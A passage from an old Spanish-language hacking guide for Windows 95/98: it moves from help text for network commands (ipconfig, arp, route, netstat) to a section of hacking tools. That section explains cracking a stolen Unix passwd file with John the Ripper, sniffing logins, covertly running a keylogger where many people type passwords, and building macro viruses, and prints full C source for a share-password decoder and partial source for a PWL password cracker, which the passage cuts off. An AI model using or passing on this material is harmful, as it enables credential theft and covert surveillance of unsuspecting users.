Este programa es similar al anterior descrito pero funciona en modo MS-DOS.
Al igual nos sirve para verificar la configuracion de nuestra red. Por
ejemplo, lo ejecutamos asi:
C:WINDOWS>ipconfig
Windows 98 IP Configuration
0 Ethernet adapter :
IP Address. . . . . . . . . : 0.0.0.0
Subnet Mask . . . . . . . . : 0.0.0.0
Default Gateway . . . . . . :
Decir que en el ordenador donde estoy escribiendo este articulo, no lo
tengo en estos momentos en red, por eso no lo tengo configurado. Para pedir
las diferentes opciones, ejecutamos:
C:WINDOWS>ipconfig -h
Windows 98 IP Configuration
Command line options:
/All - Display detailed information.
/Batch [file] - Write to file or ./WINIPCFG.OUT
/renew_all - Renew all adapters.
/release_all - Release all adapters.
/renew N - Renew adapter N.
/release N - Release adapter N.
No veo la necesidad de traducir esto debido a que es realmente facil, en
caso de no entender nada, aprende ingles Pero la que mas nos puede
interesar es la opcion /All.
4-12. Arp.
Ejecutamos este comando para que nos muestre o para modificar nuestra IP
en nuestra red, mantenida por un servidor Windows NT. Por ejemplo:
C:WINDOWS>arp
Displays and modifies the IP-to-Physical address translation tables used by
address resolution protocol (ARP).
ARP -s inet_addr eth_addr [if_addr]
ARP -d inet_addr [if_addr]
ARP -a [inet_addr] [-N if_addr]
-a Displays current ARP entries by interrogating the current
protocol data. If inet_addr is specified, the IP and Physical
addresses for only the specified computer are displayed. If
more than one network interface uses ARP, entries for each ARP
table are displayed.
-g Same as -a.
inet_addr Specifies an internet address.
-N if_addr Displays the ARP entries for the network interface specified
by if_addr.
-d Deletes the host specified by inet_addr.
-s Adds the host and associates the Internet address inet_addr
with the Physical address eth_addr. The Physical address is
given as 6 hexadecimal bytes separated by hyphens. The entry
is permanent.
eth_addr Specifies a physical address.
if_addr If present, this specifies the Internet address of the
interface whose address translation table should be modified.
If not present, the first applicable interface will be used.
Example:
> arp -s 157.55.85.212 00-aa-00-62-c6-09 .... Adds a static entry.
> arp -a .... Displays the arp table.
Y como viene siendo habitual, os remito a aprender ingles y a jugar con las
distintos parametros que tiene este comando.
4-13. Route.
Este comando nos permitira manejar la tabla local TCP/IP. Al igual que los
demas comandos dispone de varios parametros, los cuales son los siguientes:
C:WINDOWS>route
Manipulates network routing tables.
ROUTE [-f] [command [destination] [MASK netmask] [gateway] [METRIC metric]]
-f Clears the routing tables of all gateway entries. If this is
used in conjunction with one of the commands, the tables are
cleared prior to running the command.
command Must be one of four:
PRINT Prints a route
ADD Adds a route
DELETE Deletes a route
CHANGE Modifies an existing route
destination Specifies the destination host.
MASK Specifies that the next parameter is the 'netmask' value.
netmask Specifies a subnet mask value to be associated
with this route entry. If not specified, it defaults to
255.255.255.255.
gateway Specifies gateway.
METRIC Specifies that the next paramenter 'metric' is the
cost for this destination
All symbolic names used for destination are looked up in the network
database file NETWORKS. The symbolic names for gateway are looked up in the
host name database file HOSTS.
If the command is PRINT or DELETE, wildcards may be used for the destination
and gateway, or the gateway argument may be omitted.
Diagnostic Notes:
Invalid MASK generates an error, that is when (DEST & MASK) != DEST.
Example> route ADD 157.0.0.0 MASK 155.0.0.0 157.55.80.1
The route addition failed: 87
Examples:
> route PRINT
> route ADD 157.0.0.0 MASK 255.0.0.0 157.55.80.1 METRIC 3
^destination ^mask ^gateway ^metric
> route PRINT
> route DELETE 157.0.0.0
> route PRINT
Creo que queda bastante claro, incluso provee distintos ejemplos para
familiarizarnos con este comando.
4-14. Netstat.
Este comando nos puede ser muy util para saber que conexiones tenemos
activas en el momento de ejecutar este comando, para conexiones TCP/IP, lo
ejecutamos asi, solo que en mi caso no saldra ya que no estoy conectado en
este momento:
C:WINDOWS>netstat
Active Connections
Proto Local Address Foreign Address State
Como veis no sale nada, pero si lo ejecutais cuando esteis conectados, ya
vereis Como siempre este comando dispone de varios parametros, que son
los siguientes:
C:WINDOWS>netstat /?
Displays protocol statistics and current TCP/IP network connections.
NETSTAT [-a] [-e] [-n] [-s] [-p proto] [-r] [interval]
-a Displays all connections and listening ports.
-e Displays Ethernet statistics. This may be combined with the -s
option.
-n Displays addresses and port numbers in numerical form.
-p proto Shows connections for the protocol specified by proto; proto
may be TCP or UDP. If used with the -s option to display
per-protocol statistics, proto may be TCP, UDP, or IP.
-r Displays the routing table.
-s Displays per-protocol statistics. By default, statistics are
shown for TCP, UDP and IP; the -p option may be used to
specify a subset of the default.
interval Redisplays selected statistics, pausing interval seconds
between each display. Press CTRL+C to stop redisplaying
statistics. If omitted, netstat will print the current
configuration information once.
Ya solo nos queda jugar con los distintos parametros y aprender
5. Utilizacion De Tools.
En esta seccion os explicare diferentes tools que podeis usar para hacking,
por supuesto hay que buscarlas por Internet, no pondre el url para
encontrarlas, ya que a lo mejor cuando estas leyendo esta guia ya no existe,
pero os dire como se llama el programa asi lo podras buscar ademas esto
tambien te servira para que te espabiles y sepas buscar cosas por Internet.
Logicamente esta guia es para win95/98 y los programas que explicare seran
para win95/98 pero tambien me veo obligado a explicar varias tools que no
son de win95/98 propiamente sino de MS-DOS pero que son necesarias y ademas
corren en modo MS-DOS de win95/98.
5-1. Skamwerks lab version 1.1b
Este programa es un util herramienta que nos ayuda a crear de forma rapida
virus macro, o sea para el Word. Tiene que estar instalado el Word para
que este programa nos funcione.
Al ejecutar el programa nos aparecera una ventana con 2 botones los caules
son las 2 opciones que podemos escoger "Virii Wizard" o "Advanced Users".
El "virii Wizard" es la opcion, si no sabemos muy bien como crear un virus
de macro ya que nos moveremos por varios menus y crearemos un virus de
forma rapida y facilmente. La otra opcion, "Advanced Users" es para
aquellos que sepan de Word Basic, el lenguaje de programacion del Word, ya
que podemos meter codigo Word basic directamente y asi crear un virus a
nuestro gusto.
Como este no es un curso sobre virus, no me voy a enrollar sobre la
utilizacion exacta del programa. En mi opinion es un buen programa,
en ingles programado en C++.
5-2. WaReZ! Version 95.12.31
Este programa es un cliente FTP que muestra los directorios ocultos en un
servidor, util si nos metemos en algun sitio sospechoso. Como ya es
costumbre para que nos funcione tenemos que tener instalado el WINSOCK.DLL
correctamente.
Al igual que antes tampoco hay que explicar mucho sobre este programa ya
que su Interface es igual que el cliente WS_FTP que suele ser muy familiar
para todos, por lo que no encontraremos mucha dificultad en su manejo.
5-3. John the ripper v1.4.
Esta magnifica tool no es propiamente de win95/98 pero seria un pecado no
hablar de ella, cuando corre sobre win95/98 de maravilla (bueno, dentro de
lo que cabe . John, como se le conoce, sirve para crackear un fichero
unix de password (el conocido etc/passwd, como ya digo aprended algo de
unix).
Cuando robemos un fichero passwd de un servidor, lo que tenemos que hacer
es usar el John para sacar cuentas, pero no solo basta esto sino tambien
necesitamos un buen diccionario y una combinacion de suerte y paciencia.
Supongamos que ya tenemos todo (fichero passwd, John y un diccionario),
entonces tenemos que abrir una ventana MS-DOS y llamar al John, si lo
llamamos sin nigun parametro nos saldran un listado de opciones, esto seria
asi:
c:>john
Usage: john [flags] [passwd files]
Flags:-pwfile:<file>[,..] specify passwd file(s)
-wordfile:<file> -stdin wordlist mode, read words from <file> or stdin
-rules enable rules for wordlist mode
-incremental[:<mode>] incremental mode [using john.ini entry <mode>]
-single single crack mode
-external:<mode> external mode, using john.ini entry <mode>
-restore[:<file>] restore session [from <file>]
-makechars:<file> make a charset, <file> will be overwritten
-show show cracked passwords
-test perform a benchmark
-users:<login|uid>[,..] crack this (these) user(s) only
-shells:[!]<shell>[,..] crack users with this (these) shell(s) only
-salts:[!]<count> crack salts with at least <count> accounts only
-lamesalts assume plaintext passwords were used as salts
-timeout:<time> abort session after a period of <time> minutes
-list list each word
-beep -quiet beep or don't beep when a password is found
-noname -nohash don't use memory for login names or hash tables
-des -md5 force DES or MD5 mode
Veis? , y como siempre no explicare que es cada opcion os lo dejo para
que jugueis vosotros solitos!. Ahora, ya podemos crackear el fichero,
para ello escogermos la opcion "single", ya que el john no nos pedira
un fichero de diccionario, si fuese el caso que no tenemos, ponemos:
c:>john -single passwd
Y el John se pondra a trabajar, cuando halla acabo creara un fichero
llamado "John.pot" donde se almacenaran los passwords encriptados con
su correspodiente passwords desencriptado (esta definicion no es del
todo correcta pero es para que lo entendais) y ya tenemos unas cuentas
de acceso al servidor.
Este metodo va bien para la primera pasado con el John pero luego conviene
usar un diccionario y con el diccionario seria de la siguiente manera:
c:>john -wordfile:spain.txt passwd
El John seguiria el mismo proceso antes descrito, por supuesto si el
fichero "John.pot" esta creado ya, les a¤adira los resultados obtenidos
a este fichero, por cierto este fichero tiene atributo de solo lectura.
Pues aqui se acaba la explicacion del John, que seguro que ya aprendereis
a manejar correctamente. Referente a los diccionarios hay varias
herramientas que corren bajo MS-DOS que crean diccionarios o tambien
podeis buscar por Internet ya que hay varios web's llenos de diccionarios.
Decir que la ultima version del John The Ripper es la 1.5.
5-4. Gobbler v 2.1.
Volvemos a la carga con otro programa que no es del win95/98 propiamente,
pero es un sniffer que podemos usar bajo win95 en una red Ethernet. Un
Sniffer para aquellos que no sepan, es un programa que captura los paquetes
que pasan por una red y asi se pueden conseguir logins, passowrds u otro
tipo de informacion que querramos, logicamente si los paquetes estan
encriptados, esto dificultara el proceso, ya que habra que desencriptarlos
si se puede.
Como siempre abrimos una ventana y ejecutamos el programa de la siguiente
manera:
c:>gobbler
Y se activara el programa y veremos una serie de ventanas, en este punto,
pulsamos el <ESC> y saldra una ventana con un menu. Ahora tenemos que
configurar el programa para nuestra red, la verdad es que es muy sencillo
de utilizar, con un poco de practica dominaremos este sniffer facilmente.
Como sugerencia conviene leer el fichero de documentacion que trae, ya
que explica como configurar el programa.
5-5. Sharepasswd.
Este programa desencripta el passorwd de win95/98. Esta en lenguaje C, como
supongo todo el mundo tiene que tener un compilador en C y si no ya estas
buscando uno, que hay muchos y gratis por Internet. No veo la necesidad
de explicaros el programa ya que tambien incluyo la explicacion del
autor la cual esta muy bien, logicamente.
------------ Codigo Fuente ---------------------------------------------------
/* This program takes an 'encrypted' Windows 95 share password and decrypts it
* Look at:
* HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionNetworkLanMan
* to find a machine's shares. Within the data for each share are two
* registry entries, Parm1enc and Parm2enc. Parm1enc is the "Full access"
* password. Parm2enc is the "Read only" password.
*
* David Ross 2/9/96
* snakey@cs.umd.edu
*
* Do not distribute this program for any commercial purpose without first
* contacting me for permission.
*
* DO NOT USE THIS PROGRAM FOR ILLEGAL OR UNETHICAL PURPOSES!
*
* A technical description of the 'code' can be found later on in this
* document.
*
* Oh yeah... a totally unsolicited self promotion here... If anyone has
* a job for a junior year Computer Science student for summer '96, please
* let me know! I'm familiar with Windows and Mac networking (especially
* involving TCP/IP), fluent in C and C++, and working on becoming a
* proficient Windows programmer.
*
*/
#include <stdio.h>
#include <string.h>
#define BUFFER 30
int DecodeCharOne(unsigned char *);
int DecodeCharTwo(unsigned char *);
int DecodeCharThree(unsigned char *);
int DecodeCharFour(unsigned char *);
int DecodeCharFive(unsigned char *);
int DecodeCharSix(unsigned char *);
int DecodeCharSeven(unsigned char *);
int DecodeCharEight(unsigned char *);
main() {
int i; /* Generic counter */
int eocc = 0; /* Records if there has been an error */
/* The following structure stores the encoded bytes. Decoded values
* replace the encoded values as the decoding process moves along
* The initial values show here are not used and are unimportant
*/
unsigned char mybytes[] = { 0x15, 0xba, 0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a };
unsigned short tempshort; /* Used as a go-between from sscanf() to
mybytes[] so unaligned data accesses
don't occur */
int goupto = 0; /* Records how many characters there are to be decoded */
/* The following code handles input */
char inpt[BUFFER];
char *inptptr;
printf("Input the byte code in hex (ex: 76 d5 09 e3): ");
fgets(inpt, BUFFER, stdin);
inptptr = strtok(inpt, " ");
if (inpt[0] != 'n')
while ((inptptr != NULL) && (goupto < ) {
sscanf(inptptr, "%hx", &tempshort);
mybytes[goupto++] = tempshort;
inptptr = strtok(NULL, " ");
}
/* Decode all the characters. I could have made this stop immediately
* after an error has been found, but it really doesn't matter
*/
if (!DecodeCharOne(&mybytes[0])) eocc = 1;
if (!DecodeCharTwo(&mybytes[1])) eocc = 1;
if (!DecodeCharThree(&mybytes[2])) eocc = 1;
if (!DecodeCharFour(&mybytes[3])) eocc = 1;
if (!DecodeCharFive(&mybytes[4])) eocc = 1;
if (!DecodeCharSix(&mybytes[5])) eocc = 1;
if (!DecodeCharSeven(&mybytes[6])) eocc = 1;
if (!DecodeCharEight(&mybytes[7])) eocc = 1;
/* If the password could be decoded, print it */
if (eocc) printf("The encrypted password is invalid.n");
else {
printf("The decoded password is: "");
for (i = 0; i < goupto; i++) printf("%c",mybytes[i]);
printf(""n");
}
} /* End of main() */
/*
* I will document this function, but not the seven other functions
* which decode the subsequent seven characters. All of these functions
* are essentially the same. Multiple functions are necessary though
* because each column of the password has a different set of encoding
* patterns.
*
* The following section will attempt to explain the encoding scheme
* for share passwords as stored in the Windows 95 registry. I will
* try to explain this as clearly as I can, however I really have no
* background in encryption. If you have any questions, please feel
* free to send them to me at snakey@cs.umd.edu.
*
* First off, share passwords can be anywhere from one character to
* eight. "Read only" passwords and "Full access" passwords both use
* the same encoding scheme, and so they both can be decoded by this
* program. There is a one-to-one relationship between the number of
* characters in a password and the number of bytes in the encoded
* password stored in the registry. In fact, each encoded byte directly
* corresponds to the letter in the corresponding column of the
* unencoded password! Ie: If I change a password "passwd" to "masswd",
* only the first byte of the encrypted password will change. Knowing
* this, it is easy to see that all that needs to be done to decode
* the password is to find a mapping from an encoded byte to a decoded
* letter. That's what this program does. Unfortunately, things get
* a little tricky because a letter in the first column of a password
* is encoded using a slightly different algorithm than a letter
* in the second column, and so on.
*
* There is another complexity which we do not really need to worry
* about to a great extent, but we still need to be aware of. Many
* characters, when entered into a password, map to the same encoded
* byte. The best example of this is that both 'A' and 'a' are the
* same as far as share passwords are concerned. There are numerous
* other examples of this, and this allows us to effectively limit the
* range of characters we need to be able to decode. The range of
* ASCII values we will have to be able to decode turns out to be
* from 32 to 159. ASCII values higher than 159 tend to map to
* encoded bytes which also represent more normal ASCII values. So
* if a user manages to create a password with high ASCII values
* in it, that password will still be decoded by this program.
* Although the decoded password won't look the same as the original,
* it will work just as well.
*
* With all of the preliminaries out of the way, I can now move on
* to describing the mapping from an encoded byte to it's corresponding
* ASCII value. I think the best way to describe this would be through
* a picture of exactly how the characters from 32 to 63 are mapped
* out in the code for the first letter in a password. This table goes
* beyond the 80 column format maintained in the rest of this document,
* but it is really the best solution. If the table below doesn't look
* right, load this file up in a text editor that supports greater than
* 80 columns.
*
* Encoded byte (hex) - 1F 1E 1D 1C 1B 1A 19 18 17 16 15 14 13 14 11 10
0F OE 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
* ASCII value (decimal) - 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37
58 59 56 57 62 63 60 61 50 51 48 49 54 55 52 53
* Pair # - |_6_| |_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_|
|14_| |13_| |16_| |15_| |10_| |_9_| |12_| |11_|
* Quad # - |__________2__________| |__________1__________|
|__________3__________| |__________4__________|
* 32 byte block # - |______________________________________________
1______________________________________________|
*
* The "Pair #", "Quad #", and "32 byte block #" rows each are there to
* make the general ordering of the code more visible. The first thing to
* note is that the range of encoded byte values runs from 00 to 1f. This
* will not always be the case for the first set of 32 characters. In
* fact, the next set of 32 characters (ASCII 64 to ASCII 95) is not in
* the range of 20 to 3f in encoded form. I never concerned myself with
* predicting exactly where each of the four 32 byte ranges are aligned
* within the range of 0 to 256. In my decoding scheme, I simply specify
* the location of the first character in a 32 byte block (which I have
* pre-determined via experimentation) and determine the locations of the
* rest of the characters in the block relative to the inital value. This
* amounts to a total of four hand-decoded characters for the entire code.
*
* From a starting point which is given (in this case the fact that ASCII
* 32 is encoded as 0x15), my decoding scheme follows a pattern that is
* probably already apparent to you if you have examined the above table
* closely. First, if the encoded byte number is odd, it simple subtracts
* one from this byte number to get the byte number of the encoded form of
* the subsequent character. This is much more simple than it sounds.
* As an example, given that the code for ASCII 32 is 0x15, the program
* knows that the code for ASCII 33 must be 0x14. The tricky part is that
* this is not always true for every code. Recall that there is a different
* coding scheme for each of the 8 columns in a password, and that the above
* table only describes the coding scheme for the first column. Other columns
* reverse this relationship between the two ASCII values of a certain pair.
*
* Pairs are grouped into units of four, appearing in a predefined pattern.
* In this case, the first pair (by first I mean the pair with the lowest
* set of ASCII values) is put in the second slot of a quad (which contains
* four pairs). The second pair is put in the first slot, the third is put
* in the fourth quad, and the fourth is put in the third quad. This changes
* depending on the specific code used (of the 8 possible).
*
* Quads also fill a block in the same manner, however the ordering is NOT
* necessarily the same as the way pairs fit into quads! As I described
* above, there are four blocks, and they fit into the entire range of
* 128 values just as pairs fit into quads and quads fit into blocks,
* via a pattern determined by whoever invented this encoding scheme. It
* is important to realize that the range of 128 possible encoded
* values can be anywhere within the range of 0 to 256. Ie: One block can
* be positioned from 0x00 to 0x1f, while another block in the same code
* can be positioned from 0xa0 to 0xbf.
*
* I realize that the above description is a bit complex, and it doesn't
* really cover much of _how_ my program decodes the the encoded values.
* If you honestly can't understand a word I've said, just go back to
* the table and really take a long look at it. Print it out, put it
* under your pillow when you go to sleep. Sooner or later the order
* of it all will dawn on you and you should be able to step through
* my code and see how it derives its answer, at least for the
* DecodeCharOne() routine. Seven other tables (which I have rough
* copies of here on notebook paper) were needed to come up with
* the seven other decoders for the seven other character places.
*
*/
int DecodeCharOne(unsigned char *mychar) {
int i = 0; /* Keeps track of the decoded character # minus 32 */
int cletter = 1; /* Sets the current letter of the 8 char quad */
int blockl1 = 1; /* Sets the current quad */
int blockl2 = 1; /* Sets the current 32 char block */
int retval = 1;
/* We are on this col of the table: */
unsigned char code = 0x15; /* The code for a space */
/* This is the main loop. It walks through each decoded character, finds
* its corresponding encoded value, and looks to see if that's the same as
* the encoded value we are looking for. If it is, we have found our
* decoded character!
*/
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code += 3;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code -= 5;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code+=3;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) { /* After we hit character number 8, we have */
case 1: /* to do a relative jump to the next quad */
code += 11;
blockl1++;
break;
case 2:
code -= 21;
blockl1++;
break;
case 3:
code += 11;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) { /* After we hit the last quad, we have to */
case 1: /* jump to the next 32 character block. */
code = 0x75;
blockl2++;
break;
case 2:
code = 0x55;
blockl2++;
break;
case 3:
code = 0xb5;
blockl2++;
break;
case 4:
code = 0x15;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharOne() */
int DecodeCharTwo(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0xba; /* The code for a space */
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code -= 3;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code += 5;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code -= 3;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code -= 11;
blockl1++;
break;
case 2:
code -= 11;
blockl1++;
break;
case 3:
code -= 11;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0xda;
blockl2++;
break;
case 2:
code = 0xfa;
blockl2++;
break;
case 3:
code = 0x1a;
blockl2++;
break;
case 4:
code = 0xba;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharTwo() */
int DecodeCharThree(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x6d; /* The code for a space */
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code += 3;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code -= 5;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code += 3;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code -= 5;
blockl1++;
break;
case 2:
code += 27;
blockl1++;
break;
case 3:
code -= 5;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x0d;
blockl2++;
break;
case 2:
code = 0x2d;
blockl2++;
break;
case 3:
code = 0xcd;
blockl2++;
break;
case 4:
code = 0x6d;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharThree() */
int DecodeCharFour(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x86; /* The code for a space */
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code -= 3;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code -= 3;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code -= 3;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code += 13;
blockl1++;
break;
case 2:
code += 13;
blockl1++;
break;
case 3:
code += 13;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0xe6;
blockl2++;
break;
case 2:
code = 0xc6;
blockl2++;
break;
case 3:
code = 0x26;
blockl2++;
break;
case 4:
code = 0x86;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharFour() */
int DecodeCharFive(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x73; /* The code for a space */
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code--;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code += 7;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code--;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code += 7;
blockl1++;
break;
case 2:
code -= 25;
blockl1++;
break;
case 3:
code += 7;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x13;
blockl2++;
break;
case 2:
code = 0x33;
blockl2++;
break;
case 3:
code = 0x23;
blockl2++;
break;
case 4:
code = 0x73;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharFive() */
int DecodeCharSix(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x89; /* The code for a space */
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code--;
cletter++;
break;
case 2:
code += 3;
cletter++;
break;
case 3:
code--;
cletter++;
break;
case 4:
code += 3;
cletter++;
break;
case 5:
code--;
cletter++;
break;
case 6:
code += 3;
cletter++;
break;
case 7:
code--;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code -= 13;
blockl1++;
break;
case 2:
code += 19;
blockl1++;
break;
case 3:
code -= 13;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0xe9;
blockl2++;
break;
case 2:
code = 0xc9;
blockl2++;
break;
case 3:
code = 0x29;
blockl2++;
break;
case 4:
code = 0x89;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharSix() */
int DecodeCharSeven(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0xf4; /* The code for a space */
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code++;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code -= 7;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code++;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code += 9;
blockl1++;
break;
case 2:
code -= 23;
blockl1++;
break;
case 3:
code += 9;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x94;
blockl2++;
break;
case 2:
code = 0xb4;
blockl2++;
break;
case 3:
code = 0x54;
blockl2++;
break;
case 4:
code = 0xf4;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharSeven() */
int DecodeCharEight(unsigned char *mychar) {
int i = 0;
int cletter = 1;
int blockl1 = 1;
int blockl2 = 1;
int retval = 1;
unsigned char code = 0x4a; /* The code for a space */
while((i<256) && (code != *mychar)) {
switch (cletter) {
case 1:
code++;
cletter++;
break;
case 2:
code -= 3;
cletter++;
break;
case 3:
code++;
cletter++;
break;
case 4:
code += 5;
cletter++;
break;
case 5:
code++;
cletter++;
break;
case 6:
code -= 3;
cletter++;
break;
case 7:
code++;
cletter++;
break;
case 8:
cletter = 1;
switch (blockl1) {
case 1:
code -= 11;
blockl1++;
break;
case 2:
code += 21;
blockl1++;
break;
case 3:
code -= 11;
blockl1++;
break;
case 4:
blockl1 = 1;
switch (blockl2) {
case 1:
code = 0x2a;
blockl2++;
break;
case 2:
code = 0x0a;
blockl2++;
break;
case 3:
code = 0xea;
blockl2++;
break;
case 4:
code = 0x4a;
blockl2 = 1;
break;
}
break;
}
break;
}
i++;
}
if (i == 256) retval = 0;
else *mychar = i + 32;
return retval;
} /* End of DecodeCharEight() */
/* End of program */
------------ FIN -------------------------------------------------------------
Cuando ejecutemos el programa nos saldra esto:
c:>sharepw
Input the byte code in hex (ex: 76 d5 09 e3):
Nos pide que introduzcamos el password en formato Hexadecimal. Hay muchas
tablas por Internet para aquellos que no tengan una.
5-6. Snadboy's revelation v1.1.
En este apartado hablare sobre una interesante herramienta. El Snadboy es
una tool que nos descripta los astericos de la tipica ventana que pide
password. Si hay una ventana con un password y que no entendemos porque
solo salen asteriscos, lo que tenemos que hacer es abrir el Snadboy y
situarnos al lado de la ventana de password, la ventana del Snadboy tiene
una "mira de punto", pinchamos encima de la mira y la arrastramos con el
raton sobre la ventana del password situandonos encima del password,
soltamos y en la ventana del Snadboy veremos el password descifrado.
Como nota, este programa para lo que hace, ocupa mucho en el disco duro,por
lo que puede ser un poco sospechoso o que los coders no lo han optimizado
demasiado que digamos.
5-7. Keylog95.
Este programa nos sera muy util en sitio donde halla mucha gente, ya que
es un Key recoder, o sea, una peque¤a utilidad que se queda residente
en memoria y graba todos los logins y password que la gente vaya metiendo.
El programa es de sencillo manejo, pero tiene que haver unos peque¤os
requisitos, primero tener las librerias VBRUN300.DLL y QPRO200.DLL en el
directorio c:windowssystem y ademas tener un directorio llamado c:win,
ya que es alli donde el programa grabara la informacion que obtenga, en
un fichero llamado "logx", por lo que esto quedara:
c:winlogx
Cuando las librerias esten metidas en el directorio System, windows creara
un icono en la carpeta de Inico, por lo que es conveniente darle un
atributo de Minimizado para que nadie lo pueda ver y asi siempre que se
arranque Windows tambien lo hara el Keylog95
5-8. Glide.
El Glide es otro programa que sirve para desencriptar un password's en
Win95/98. Al igual que el Sharepw solo lo tenemos que compiLar y ejecutar
con la salvedad que esta escrito en C++.
------------ Codigo Fuente ---------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <process.h>
#include <stdlib.h>
#include <ctype.h>
#include <conio.h>
unsigned char huge Data[100001];
unsigned char keystream[1001];
int Rpoint[300];
void main (int argc,char *argv[]) {
FILE *fd;
int i,j,k;
int size;
char ch;
char *name;
int cracked;
int sizemask;
int maxr;
int rsz;
int pos;
int Rall[300]; /* recource allocation table */
if (argc<2) {
printf("usage: glide filename (username)");
exit(1);
}
/* read PWL file */
fd=fopen(argv[1],"rb");
if(fd==NULL) {
printf("can't open file %s",argv[1]);
exit(1);
}
size=0;
while(!feof(fd)) {
Data[size++]=fgetc(fd);
}
size--;
fclose(fd);
/* find username */
name=argv[1];
if(argc>2) name=argv[2];
printf("Username: %sn",name);
/* copy encrypted text into keystream */
cracked=size-0x0208;
if(cracked<0) cracked=0;
if(cracked>1000) cracked=1000;
memcpy(keystream,Data+0x208,cracked );
/* generate 20 bytes of keystream */
for(i=0;i<20;i++) {
ch=toupper(name[i]);
if(ch==0) break;
if(ch=='.') break;
keystream[i]^=ch;
};
cracked=20;
/* find allocated recources */
sizemask=keystream[0]+(keystream[1]<<8);
printf("Sizemask: %04Xn",sizemask);
for(i=0;i<256;i++) Rall[i]=0;
maxr=0;
for(i=0x108;i<0x208;i++) {
if(Data[i]!=0xff) {
Rall[Data[i]]++;
if (Data[i]>maxr) maxr=Data[i];
}
}
maxr=(((maxr/16)+1)*16); /* recource pointer table size appears
to be divisable by 16 */
/* search after recources */
Rpoint[0]=0x0208+2*maxr+20+2; /* first recource */
for(i=0;i<maxr;i++) {
/* find size of current recource */
pos=Rpoint[i];
rsz=Data[pos]+(Data[pos+1]<<8);
rsz^=sizemask;
printf("Analyzing block with size: %04xt(%d:%d)n",rsz,i
,Rall[i]);
if( (Rall[i]==0) && (rsz!=0) ) {
printf("unused resource has nonzero size !!!n");
printf("If last line produced any : You
may try to recovern");
printf("press y to attempt recoveryn");
ch=getch();
